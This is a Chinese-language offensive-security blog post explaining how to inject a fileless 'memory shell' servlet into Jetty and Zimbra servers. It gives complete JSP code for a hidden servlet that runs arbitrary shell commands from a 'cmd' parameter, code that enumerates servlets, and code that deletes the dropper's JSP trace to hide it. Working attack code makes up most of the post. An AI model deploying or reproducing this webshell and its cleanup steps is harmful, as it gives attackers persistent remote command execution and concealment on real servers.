Java利用技巧——Jetty Servlet型内存马
0x00 前言
在上篇文章介绍了Jetty Filter型内存马的实现思路和细节，本文介绍Jetty Servlet型内存马的实现思路和细节
0x01 简介
本文将要介绍以下内容：
- 实现思路
- 实现代码
- Zimbra环境下的Servlet型内存马
0x02 实现思路
同样是使用Thread获得webappclassloaer，进而通过反射调用相关方法添加Servlet型内存马
0x03 实现代码
1.添加Servlet
Jetty下可用的完整代码如下：
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.util.Scanner"%>
<%@ page import="java.io.*"%>
<%
String servletName = "myServlet";
String urlPattern = "/servlet";
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread : threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for(Object s:servlets){
Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(s);
if(name.equals(servletName)){
flag = true;
break;
}
}
if(flag){
out.println("[-] Servlet " + servletName + " exists.<br>");
return;
}
out.println("[+] Add Servlet: " + servletName + "<br>");
out.println("[+] urlPattern: " + urlPattern + "<br>");
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object servletMapping = null;
try{
servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));
}catch(NoSuchMethodException e){
servletMapping = clazz.newInstance();
}
servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);
}
}
}
%>
2.枚举Servlet
(1)通过request对象调用getServletRegistrations枚举Servlet
Jetty下可用的完整代码如下：
<%@ page import="java.lang.reflect.Method "%>
<%
ServletContext servletContext = request.getServletContext();
Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations");
Object obj1 = m1.invoke(servletContext);
out.println(obj1);
%>
对应命令为：request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())
(2)通过Thread获得webappclassloaer，通过反射读取_servlets属性来枚举Servlet
Jetty下可用的完整代码如下：
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for(Object servlet:servlets){
out.print(servlet + "<br>");
}
}
}
}
%>
注：
该方法在Zimbra环境下会存在多个重复结果
0x04 Zimbra环境下的Servlet型内存马
Zimbra存在多个名为WebAppClassLoader的线程，所以在添加Servlet时需要修改判断条件，避免提前退出，在实例代码的基础上直接修改即可
在Zimbra环境下测试还需要注意一个问题：在rctxt->jsps下会标记所有执行过的jsp实例，测试代码如下：
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object conn1 = f.get(request);
f = conn1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object conn2 = f.get(conn1);
f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object conn3 = f.get(conn2);
f = conn3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);
Enumeration enu = conn4.keys();
while (enu.hasMoreElements()) {
out.println(enu.nextElement() + "<br>");
}
%>
当然，我们可以通过反射删除内存马对应的jsp实例，测试代码如下：
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object conn1 = f.get(request);
f = conn1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object conn2 = f.get(conn1);
f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object conn3 = f.get(conn2);
f = conn3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);
conn4.remove("/myServlet.jsp");
%>
无论是Filter型内存马还是Servlet型内存马，删除内存马对应的jsp实例不影响内存马的正常使用
0x05 利用思路
同Filter型内存马一样，Servlet型内存马的优点是不需要写入文件，但是会在服务重启时失效
0x06 小结
本文介绍了Jetty Servlet型内存马的实现思路和细节，给出了可供测试的代码，分享了Zimbra环境的利用方法。